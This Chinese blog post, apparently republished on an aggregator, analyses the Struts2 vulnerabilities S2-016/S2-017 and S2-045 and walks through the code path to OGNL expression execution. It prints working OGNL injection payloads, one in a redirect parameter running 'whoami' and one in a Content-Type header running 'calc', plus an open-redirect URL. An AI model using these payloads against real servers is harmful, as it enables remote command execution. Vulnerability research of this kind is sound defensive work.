当前位置: 首页 > news >正文

代码审计-Struts2漏洞分析

一、Struts2介绍
Struts2 是一个基于 MVC(Model-View-Controller) 设计模式的开源 Java Web 应用框架,由 Apache 软件基金会维护。它是 Struts1 和 WebWork 框架的整合产物,以 WebWork 为核心,通过拦截器机制实现业务逻辑与 Servlet API 的解耦,适用于构建企业级 Web 应用程序。
二、S2-016\S2-017
两个漏洞原理一样,S2-016可构造redirect传入命令,S2构造redirect传入url通过OGNL表达式执行,下面为分析过程。

通过DefaultActiionMapper 把命名空间key取出来
在这里插入图片描述
找到是redirect进入redirect方法里面,设置属性
在这里插入图片描述
讲参数传入this.location和param中
在这里插入图片描述
装饰OGNL表达式,传入expression参数
在这里插入图片描述
执行成功
在这里插入图片描述

S2-016 poc
${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('whoami'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter()
s2-017 poc
http://xxxxx.com/xxx.action?redirect:http:xxxx.com补丁分析:
if ((key.contains("action:")) || (key.contains("redirect:")) || (key.contains("redirectAction:"))) {
return;

三、S2-045
漏洞的本质就是content-type内容出现异常触发了表达式的执行

接入传入参数content_type
在这里插入图片描述
message数据传递

在这里插入图片描述

在这里插入图片描述
装饰OGNL表达式,传入expression参数
在这里插入图片描述
执行成功
在这里插入图片描述

poc
content-type:test multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundar
http://www.dtcms.com/a/275550.html

相关文章:

  • 从LLM到VLM:视觉语言模型的核心技术与Python实现
  • React 组件中怎么做事件代理?它的原理是什么?
  • html-初级标签
  • JAX study notes[17]
  • Java从入门到精通!第四天(面向对象(一))
  • Unity VR手术模拟系统架构分析与数据流设计
  • 【设计模式】装饰(器)模式 透明装饰模式与半透明装饰模式
  • 前端MQTT入门指南:从零到实战的完整流程
  • Google浏览器【无法安装扩展程序,因为它使用了不受支持的清单版本】解决方案
  • 【FreeRTOS】信号量
  • 自助KTV选址指南与优化策略
  • 刘火良 FreeRTOS内核实现与应用之5——补充知识(宏)
  • [Python] -实用技巧篇1-用一行Python代码搞定日常任务
  • Effective Modern C++ 条款9:优先考虑别名声明而非typedef
  • C++法则21:避免将#include放在命名空间内部。
  • Java-71 深入浅出 RPC Dubbo 上手 父工程配置编写 附详细POM与代码
  • Java使用Langchai4j接入AI大模型的简单使用(一)
  • 【跟我学运维】chkconfig jenkins on的含义
  • 使用 Java 开发大数据应用:Hadoop 与 Java API 的结合
  • Gas and Gas Price
  • MCP选型指南:AWS vs Azure vs GCP vs 国内云厂商深度对比
  • 从 Spring 源码到项目实战:设计模式落地经验与最佳实践
  • 批量自动运行多个 Jupyter Notebook 文件的方法!!!
  • 13. G1垃圾回收器
  • Edge浏览器:报告不安全的站点的解决方案
  • 【字符串移位包含问题】2022-8-7
  • Kotlin文件操作
  • 浅谈 Python 中的 yield——yield的返回值与send()的关系
  • Ether and Wei
  • Spring 框架中的设计模式:从实现到思想的深度解析